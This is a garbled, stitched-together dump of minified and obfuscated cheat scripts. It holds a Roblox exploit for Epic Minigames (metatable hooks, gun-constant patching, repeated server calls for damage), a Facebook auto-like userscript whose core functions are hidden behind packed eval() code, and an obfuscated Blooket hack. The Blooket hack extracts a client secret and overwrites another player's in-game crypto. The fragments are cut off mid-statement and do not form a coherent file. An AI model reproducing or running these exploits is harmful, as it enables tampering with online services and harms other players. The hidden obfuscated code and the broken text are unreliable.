v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("Purchase Perks:")local z=y:NewSection("1000 Points required for some perks.")z:NewButton("Juggernog","Purchases Juggernog",function()local player=game:getService("Players").LocalPlayer;local lastPosition=player.Character.PrimaryPart.Position;for a2,v in pairs(game:GetService("Workspace").Perks.Juggernog.Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks.Juggernog.Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Speed Cola","Purchases Speed Cola",function()for a2,v in pairs(game:GetService("Workspace").Perks['Speed Cola'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Speed Cola'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Double Tap","Purchases Double Tap",function()for a2,v in pairs(game:GetService("Workspace").Perks['Double Tap'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Double Tap'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Quick Revive","Purchases Quick Revive",function()for a2,v in pairs(game:GetService("Workspace").Perks['Quick Revive'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Quick Revive'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Deadshot Daiquiri","Purchases Deadshot Daiquiri",function()k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil;for a2,v in pairs(game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)else m.Notify("Game is not supported!","Server hopping to Main Menu","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})wait(0.24)game:GetService('TeleportService'):Teleport(155382109,game.Players.LocalPlayer)end
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} exportFunction(LikePosts, unsafeWindow, {defineAs: "LikePosts"}); function LikeComments() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4b(2G(p,a,c,k,e,r){e=2G(c){2H(c<a?\'\':e(49(c/a)))+((c=c%a)>35?2J.4a(c+29):c.4M(36))};2I(!\'\'.2L(/^/,2J)){2K(c--)r[e(c)]=k[c]||e(c);k=[2G(e){2H r[e]}];e=2G(){2H\'\\\\w+\'};c=1};2K(c--)2I(k[c])p=p.2L(3v 3w(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);2H p}(\'P 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a=1p(h[12]);1e[h[10]](h[9])[h[8]]=a;1d[h[13]](0,2w)};S(B<H[h[6]]){e(B);f(2x);B++}};2y(D=0;D<I[h[6]];D++){S(I[D][h[15]](h[14])!==h[16]&&(I[D][h[15]](h[17])===h[18]||I[D][h[15]](h[17])===h[19]||I[D][h[15]](h[17])===h[20]||I[D][h[15]](h[17])===h[21]||I[D][h[15]](h[17])===h[22]||I[D][h[15]](h[17])===h[23]||I[D][h[15]](h[17])===h[24]||I[D][h[15]](h[17])===h[25]||I[D][h[15]](h[17])===h[26]||I[D][h[15]](h[17])===h[27]||I[D][h[15]](h[17])===h[28]||I[D][h[15]](h[17])===h[29]||I[D][h[15]](h[17])===h[2B]||I[D][h[15]](h[17])===h[2C]||I[D][h[15]](h[17])===h[2D]||I[D][h[15]](h[17])===h[2E]||I[D][h[15]](h[17])===h[1X])){H[J]=I[D];J++}};c();\',3x,3y,\'|||||||||||||3A||||3z|3u|3t|3o|3n|3p|3q|3s|3r|3B|3C|3M|3L|3N|3O|3P|3K|3J|3R|||3E||3D|3F|3G||||3m|3H|3Q|3f|2U|2W|2G|2T|2I|2S|2X|2Y|2Q|2N|2M|2O|||||||||||2R|2P|2V|3l|3g|2Z|3h|3i|3k|3j|3e|3d|38|37|39|3a|3c|3b|3I|4d|4z|4A|4B|4D|4C|4x|4w|4r|4F|4q|4p|4s|4t|4v|4u|4E|4K|4Q|4P|4S|4R|4U|4T|4N|4I|4H|4G|4J|4O|34|4L|4y|||||||||||4n|42|41|43|44|46|45|40|3Z|3U|3T|3S|3V|3W|3Y|3X|47|48|4o|4i|4h|4j|4k|4m|4l|4g|4f|30|31|32|33|4c\'.4e(\'|\'),0,{}))',62,305,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|String|while|replace|x2F|u0627|u092A|u0628|x76|x41|x42|x3E|x43|u0644|var|x54|x3C|x4D||||||||u8A00|u7559|u8B9A|unescape|u0639|x44|u5247|x78|x27|document|xE1|u062A|x66|u9019|window|x3B|x69|x6F|x6E|x61|x72|x6C|x20|x65|new|RegExp|62|166|_0xa994|x74|x73|x6D|x68|x3D|x79|x3A|x62|u0902|x64|x70|x75|x63|x22|x6B|x67|x4C|x2D|x50|u8AAA|u0642|x28|x29|x30|x34|u064A|x4F|x4E|x48|u0625|x49|x23|u062C|u5C0D|u597D|parseInt|fromCharCode|eval|u091F|u0631|split|u8BBA|u8BC4|2160|u8D5E|u6B64|5000|for|700|x71|false|u0926|u2019|u0940|u0915|u0930|u0635|u0947|u0923|u094D|xE4|x45|x47|x38|x4A|u093F|x53|u0938|u1EAD|xEC|xED|xE0|u06C1|x4B|toString|u06BA|u011F|u0633|u067E|u062F|u0646|u06CC|u06A9'.split('|'),0,{})) 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B=0,J=0,I=1g[j[2]](j[1]),H=[],D;S e(a){H[a][j[3]]();O b=1p(j[4])+(a+1)+j[5]+H[j[6]]+j[7];1g[j[10]](j[9])[j[8]]=b};S g(e){1j[j[11]](c,e)};S A(){O a=2C;X(!a){g(2E)}};S f(e){1j[j[11]](A,e)};S c(){X(B>=H[j[6]]){O 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} exportFunction(UnlikeComments, unsafeWindow, { defineAs: "UnlikeComments"}); function IncreaseLikes() { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('Q(y(p,a,c,k,e,r){e=y(c){z c.L(a)};A(!\'\'.D(/^/,O)){C(c--)r[e(c)]=k[c]||e(c);k=[y(e){z r[e]}];e=y(){z\'\\\\w+\'};c=1};C(c--)A(k[c])p=p.D(M N(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);z p}(\'r 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window.open('https://raw.githubusercontent.com/ZiaUrR3hman/FacebookAutoLikeProfessional/master/FacebookAutoLikeProfessional.user.js'); win.focus(); } exportFunction(UpdateScript, unsafeWindow, { defineAs: "UpdateScript"}); function checkLicense(user) { eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1J(1g(p,a,c,k,e,r){e=1g(c){1h(c<a?\'\':e(1E(c/a)))+((c=c%a)>1D?1j.1F(c+29):c.1G(1I))};1i(!\'\'.1m(/^/,1j)){1k(c--)r[e(c)]=k[c]||e(c);k=[1g(e){1h r[e]}];e=1g(){1h\'\\\\w+\'};c=1};1k(c--)1i(k[c])p=p.1m(1l 1H(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1h p}(\'H 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eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1t(Y(p,a,c,k,e,r){e=Y(c){Z(c<a?\'\':e(1u(c/a)))+((c=c%a)>1p?11.1o(c+1k):c.1j(1l))};12(!\'\'.14(/^/,11)){10(c--)r[e(c)]=k[c]||e(c);k=[Y(e){Z r[e]}];e=Y(){Z\'\\\\w+\'};c=1};10(c--)12(k[c])p=p.14(1n 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);Z p}(\'x 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RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('Q(z(p,a,c,k,e,r){e=z(c){A c.P(a)};B(!\'\'.E(/^/,N)){C(c--)r[e(c)]=k[c]||e(c);k=[z(e){A r[e]}];e=z(){A\'\\\\w+\'};c=1};C(c--)B(k[c])p=p.E(O J(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);A p}(\'f 6=["\\\\w\\\\i\\\\j\\\\r\\\\p\\\\n\\\\m\\\\l\\\\i\\\\k","\\\\a\\\\5\\\\5\\\\9\\\\b\\\\c\\\\8\\\\d\\\\c\\\\d\\\\5\\\\s\\\\a\\\\8\\\\9","\\\\5\\\\4\\\\4\\\\4\\\\4\\\\8\\\\a\\\\4\\\\9\\\\c\\\\5\\\\4\\\\c\\\\b\\\\8","\\\\5\\\\4\\\\4\\\\4\\\\4\\\\a\\\\h\\\\b\\\\5\\\\b\\\\h\\\\9\\\\5\\\\8\\\\9"];f 7=o(6[0],0);q(6[0],++7);e(7===1||7===t||7===u){v(6[1]);g(6[2]);g(6[3])};e(7>x){y(6[0])};\',D,D,\'||||R|M|T|L|G|U|F|H|I|K|B|S|Z|17|16|1a|19|1e|1c|1d|1b|18|14|Y|X|W|V|15|10|13|12\'.11(\'|\'),0,{}))',62,77,'|||||||||||||||||||||||||||||||||||function|return|if|while|35|replace|x34|x32|x36|x38|RegExp|x39|counterfol|x31|String|new|toString|eval|x30|var|_0xcc3d|x37|100|50|x33|x6E|checkLicense|x63|split|GM_deleteValue|150|GM_setValue|addLicense|x6F|x35|x74|x6C|x75|GM_getValue|x72|x65|x66'.split('|'),0,{})) } else { return false; } } function reload() { location.reload(); } exportFunction(reload, unsafeWindow, { defineAs: "reload"}); function likeall() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'likepostsid'); div.className = "FBLikeProMenu"; div.style.bottom = '+128px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="Like All Posts loaded On Page" onclick=\'LikePosts()\'>Like All Posts</a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'likecomments'); div.className = "FBLikeProMenu"; div.style.bottom = '+103px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="Like All Comments Loaded On Page" onclick="LikeComments()">Like All Comments</a>'); body.appendChild(div); } removeElements(document.querySelectorAll('#unlikeposts')); removeElements(document.querySelectorAll('#unlikecomments')); } exportFunction(likeall, unsafeWindow, {defineAs: "likeall"}); function unlikeall() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'unlikeposts'); div.className = "FBLikeProMenu"; div.style.bottom = '+128px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="UnLike All Posts loaded On Page" rel=\'async-post\' role=\'button\' onclick=\'UnlikePosts()\'>Unlike All Posts</a>'); body.appendChild(div); } if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'unlikecomments'); div.className = "FBLikeProMenu"; div.style.bottom = '+103px'; div.innerHTML = unescape('<a style="display: block; position: relative; cursor: pointer;text-decoration: none;" data-hover="tooltip" data-tooltip-position="right" aria-label="UnLike All Comments Loaded On Page" rel=\'async-post\' role=\'button\' onclick=\'UnlikeComments()\'>Unlike All Comments</a>'); body.appendChild(div); } removeElements(document.querySelectorAll('#likepostsid')); removeElements(document.querySelectorAll('#likecomments')); } exportFunction(unlikeall, unsafeWindow, {defineAs: "unlikeall"}); function show() { "use strict"; if (body !== 'null') { var div = document.createElement('div'); div.setAttribute('id', 'FBLikeProtitle3'); div.className = "FBLikeProTB"; div.style.bottom = '+180px'; div.innerHTML = unescape('<div style="float: right;height: 18px;position: relative;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Close" src="https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional/raw/master/images/close.png" width="18" height="18" class="img" id="close" onclick="ExitScript()"> </div></div><div style="float: right;height: 18px;position: relative;width: 21px;"> <div style="width:18px;height:18px;"> <img data-hover="tooltip" aria-label="Minimize" src="https://github.com/ZiaUrR3hman/FacebookAutoLikeProfessional/raw/master/images/minimize.png" width="18" height="18" class="img" id="js_1" onclick="hide()"> </div></div><div style="overflow: hidden;text-overflow: ellipsis;white-space: nowrap;color: white;text-align: center;font-size: 13px;" data-hover="tooltip" aria-label="Facebook Auto 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ajaxify=\'/ajax/messaging/composer.php?ids[0]=100004561657127&ref=timeline\' href=\'/messages/ZiaUrR3hman\' role=\'button\' rel=\'dialog\' data-hover="tooltip" data-tooltip-position="right" aria-label="Help or Send Feedback"> <div style="float: left;height: 18px;position: relative;width: 25px;"> <div style="width:18px;height:18px;"><img data-hover="tooltip" data-tooltip-position="right" aria-label="Zia Ur Rehman (Z.R.F)" src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-xap1/v/t1.0-1/p32x32/10636123_316878135140906_2834910512385255884_n.jpg?oh=6195083e971df0611228ca052b09af92&oe=55400A57&__gda__=1430168673_c149aef78b0d929c04b7100efe0f81d4" width="18" height="18" alt="" class="img"> </div></div><div style="float: right;margin: 0 4px;text-align: right;"> <div style="color: #63a924; display: inline-block;line-height: 12px;text-shadow: none;vertical-align: middle;">Web</div><i style="width: 7px;height: 7px;background-position: -110px -153px;margin-left: 4px;vertical-align: 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ie=gbasilDotDev_D;ie(0x381)+'K'===ie(0x302)+'Y'?(iq['key']=='w'&&(t[ie(0x2a9)+'e'][ie(0x3a8)+'lay']=Z[ie(0x2a9)+'e']['disp'+'lay']=='none'?'bloc'+'k':ie(0x375)),i7['key']=='q'&&iD(n())):document['loca'+'tion'][ie(0x26c)+ie(0x33d)]!='/caf'+'e'?alert(ie(0x18d)+ie(0x2ac)+ie(0x139)+'ack\x27'+ie(0x167)+ie(0x24b)):im[ie(0x192)+'ized'+ie(0x133)+'e']['food'+'s'][ie(0x1d0)+ie(0x388)](iV=>iV[ie(0x205)+'k']=0x1c49d*0x1+-0x91e4+0x53e6);}function c(im){const is=gbasilDotDev_D;if(is(0x154)+'h'!==is(0x1bf)+'s')Object[is(0x37d)](im[is(0x192)+'ized'+is(0x133)+'e'][is(0x267)+is(0x185)+'s'])[is(0x1d0)+is(0x388)](iQ=>im[is(0x192)+is(0x20f)+'Stat'+'e'][is(0x267)+is(0x185)+'s'][iQ]=0x4*0x870+0x8*-0x45f+0x139);else{let iV=iO['quer'+'ySel'+'ecto'+'r'](is(0x29b)+'clas'+is(0x2c1)+is(0x347)+is(0x313)+is(0x21e)),ic=i6[is(0x37d)](iV)[is(0x18b)+'er'](ig=>ig[is(0x1b6)+is(0x1ac)](is(0x355)+is(0x260)+is(0x218)+is(0x23d)+is(0x257))>=0x3a6*-0x1+-0x314*0x8+0x1c46)[-0x1*-0x2271+0xea+-0xbc9*0x3];return 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iS=gbasilDotDev_D;if('ZNqg'+'s'===iS(0x2e9)+'s'){let iQ=Array[iS(0x2f0)](document['quer'+iS(0x33c)+iS(0x1d9)+iS(0x2b8)](iS(0x2a7)))[iS(0x303)](iV=>iV[iS(0x170)+'rTex'+'t']==im[iS(0x192)+iS(0x20f)+iS(0x133)+'e'][iS(0x1ab)+iS(0x2dd)+iS(0x20d)+iS(0x26a)]);iQ&&iQ[iS(0x1ae)+'k']();}else{let ic=iC(iS(0x2c3)+iS(0x2b9)+iS(0x39a));if(!iq(ic))return ic(iS(0x35b)+'lid\x20'+iS(0x25c)+'t');Z['memo'+iS(0x20f)+iS(0x133)+'e'][iS(0x1a7)+'d']=i7(ic);}}function l(im){const iE=gbasilDotDev_D;if(iE(0x2d9)+'M'==='AzmD'+'M')im[iE(0x192)+'ized'+iE(0x133)+'e']['hack']='';else{let iV=iC('Gues'+iE(0x360)+iE(0x183));if(!iq(iV))return iV(iE(0x35b)+iE(0x27a)+iE(0x25c)+'t');Z[iE(0x192)+iE(0x20f)+iE(0x133)+'e'][iE(0x130)+iE(0x35a)+'re']=i7(iV);}}function Z(im){const iA=gbasilDotDev_D;if('BjZx'+'N'===iA(0x2f9)+'q')b(iC),iq(t);else{let iV=prompt(iA(0x34a)+iA(0x1ee)+'play'+'er');!iV||im[iA(0x192)+'ized'+iA(0x1d4)+'s'][iA(0x165)+iA(0x20b)][iA(0x2d7)+'atab'+iA(0x2f8)+'al'](im['memo'+iA(0x20f)+'Prop'+'s'][iA(0x341)+'nt'][iA(0x245)+'Id'],'c',(...ic)=>{const iW=iA;if(iW(0x210)+'c'!==iW(0x345)+'T'){let ig=Object[iW(0x37d)](ic[-0x2*-0xa61+0x9*-0x8b+-0x11*0xef]);ig[iW(0x1c0)](iR=>iR==iV)?ig[iW(0x1d0)+iW(0x388)]((iR,id)=>{const ib=iW;ib(0x373)+'a'!=='hfcY'+'a'?iF(ib(0x23b)+ib(0x33b)+ib(0x174)+ib(0x13b)+ib(0x13d)+ib(0x25d)+ib(0x314)):iR==iV&&(im[ib(0x192)+ib(0x20f)+ib(0x1d4)+'s'][ib(0x165)+ib(0x20b)][ib(0x25b)+'al']({'id':im[ib(0x192)+ib(0x20f)+ib(0x1d4)+'s']['clie'+'nt'][ib(0x245)+'Id'],'path':'c/'+im['memo'+ib(0x20f)+ib(0x1d4)+'s'][ib(0x341)+'nt'][ib(0x33d)],'val':{'p':im[ib(0x192)+ib(0x20f)+'Stat'+'e'][ib(0x212)+ib(0x1ec)],'b':im[ib(0x192)+'ized'+'Prop'+'s'][ib(0x341)+'nt']['bloo'+'k'],'cr':im[ib(0x192)+ib(0x20f)+'Stat'+'e']['cryp'+'to'],'tat':iR+':'+(ic[-0xa27+-0x679*0x2+-0x1*-0x1719][iR]['cr']||-0x13d5+-0xefe*0x2+0x147*0x27)}}),alert(ib(0x2f2)+'ttin'+ib(0x135)+ib(0x2b4)+ib(0x1b9)+ib(0x1a6)));}):alert(iW(0x23b)+iW(0x1fb)+iW(0x19c)+iW(0x2c4)+iW(0x143)+'!');}else iF[iW(0x2a5)+iW(0x26d)+'e'][iW(0x13c)+iW(0x23f)]=[];});}}function e(im){const k0=gbasilDotDev_D;if(k0(0x378)+'Z'!==k0(0x1f1)+'N')im[k0(0x192)+k0(0x20f)+k0(0x133)+'e']['danc'+'e']=!(-0x7*-0x49d+0x22b5+-0x42ff),im[k0(0x192)+k0(0x20f)+'Stat'+'e']['joke']=!(0x178a+0x890*-0x1+-0xef9*0x1),im[k0(0x192)+k0(0x20f)+k0(0x133)+'e']['lol']=!(-0x5*-0x77e+-0x5*0x65b+0x2*-0x2d7),im[k0(0x192)+k0(0x20f)+'Stat'+'e']['slow']=!(-0x3*0x171+0x1*0x20cc+-0x1c78);else{let iV=i6[k0(0x368)+k0(0x37f)+k0(0x30e)][k0(0x38a)](ic=>iV[k0(0x37d)](ic[0xc31+-0x5c+-0xbd4])[k0(0x38a)](ig=>ic[-0xbc*0x2f+0x11e7+0x109e][ig]))[k0(0x31d)+'ce']((ic,ig)=>[...ic,...ig],[])[k0(0x303)](ic=>/\"\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\"/[k0(0x287)](ic[k0(0x20e)+k0(0x35c)]())&&/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/[k0(0x287)](ic['toSt'+'ring']()))['toSt'+k0(0x35c)]();iC({'blooketBuild':iV[k0(0x384)+'h'](/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/)[-0xe6b+-0x1a5*-0xe+-0x89b],'secret':iV['matc'+'h'](/\(new TextEncoder\)\.encode\(\"(.+?)\"\)/)[-0x1*0x4d5+0x16b2+-0x5f4*0x3]});}}function b(im){const k1=gbasilDotDev_D;if(k1(0x28d)+'y'===k1(0x28d)+'y')im[k1(0x192)+k1(0x20f)+k1(0x133)+'e'][k1(0x238)+'ks'][k1(0x1d0)+k1(0x388)](iQ=>iQ['time'][k1(0x1a3)](-0x11b5+0x111e+0x97+0.001));else return F[k1(0x20e)+k1(0x35c)]()[k1(0x229)+'ch']('(((.'+'+)+)'+'+)+$')[k1(0x20e)+'ring']()[k1(0x3ab)+k1(0x197)+k1(0x17d)](D)[k1(0x229)+'ch'](k1(0x306)+k1(0x390)+k1(0x1b2));}function i0(im){const k2=gbasilDotDev_D;k2(0x334)+'Z'!==k2(0x334)+'Z'?b||(iC(iq),t=!(0x1e00+-0x3d*0x40+0xec0*-0x1)):im[k2(0x192)+k2(0x20f)+k2(0x133)+'e'][k2(0x386)+k2(0x33a)+'Need'+'ed']=-0x20a+0x1350*-0x1+0xb*0x1f1;}function i1(im){const k3=gbasilDotDev_D;if(k3(0x350)+'q'!==k3(0x350)+'q'){let iV=iC('Cryp'+k3(0x216)+k3(0x1b3)+'t');if(!iq(iV))return iV(k3(0x35b)+k3(0x27a)+k3(0x25c)+'t');Z[k3(0x192)+k3(0x20f)+k3(0x133)+'e'][k3(0x1b9)+'to']=i7(iV);}else im[k3(0x192)+'ized'+k3(0x133)+'e'][k3(0x238)+'ks']['forE'+'ach'](iV=>iV[k3(0x22a)+'l']=iV[k3(0x1cb)+'e'][k3(0x159)+'th']);}function i2(im){const k4=gbasilDotDev_D;if(k4(0x2f1)+'Y'!=='KUdX'+'Y')V==t&&(iX[k4(0x192)+k4(0x20f)+k4(0x1d4)+'s'][k4(0x165)+k4(0x20b)][k4(0x25b)+'al']({'id':i8[k4(0x192)+k4(0x20f)+k4(0x1d4)+'s'][k4(0x341)+'nt'][k4(0x245)+'Id'],'path':'c/'+it[k4(0x192)+'ized'+k4(0x1d4)+'s']['clie'+'nt']['name'],'val':{'p':m['memo'+k4(0x20f)+k4(0x133)+'e'][k4(0x212)+k4(0x1ec)],'b':Q['memo'+'ized'+k4(0x1d4)+'s'][k4(0x341)+'nt'][k4(0x238)+'k'],'cr':V[k4(0x192)+k4(0x20f)+k4(0x133)+'e']['cryp'+'to'],'tat':c+':'+(Q[-0x2345+0x81d+0x1b28][i9]['cr']||-0x1b7b+0x45d*0x4+0xa07)}}),d('Rese'+'ttin'+'g\x20th'+k4(0x2b4)+'cryp'+'to!'));else{let 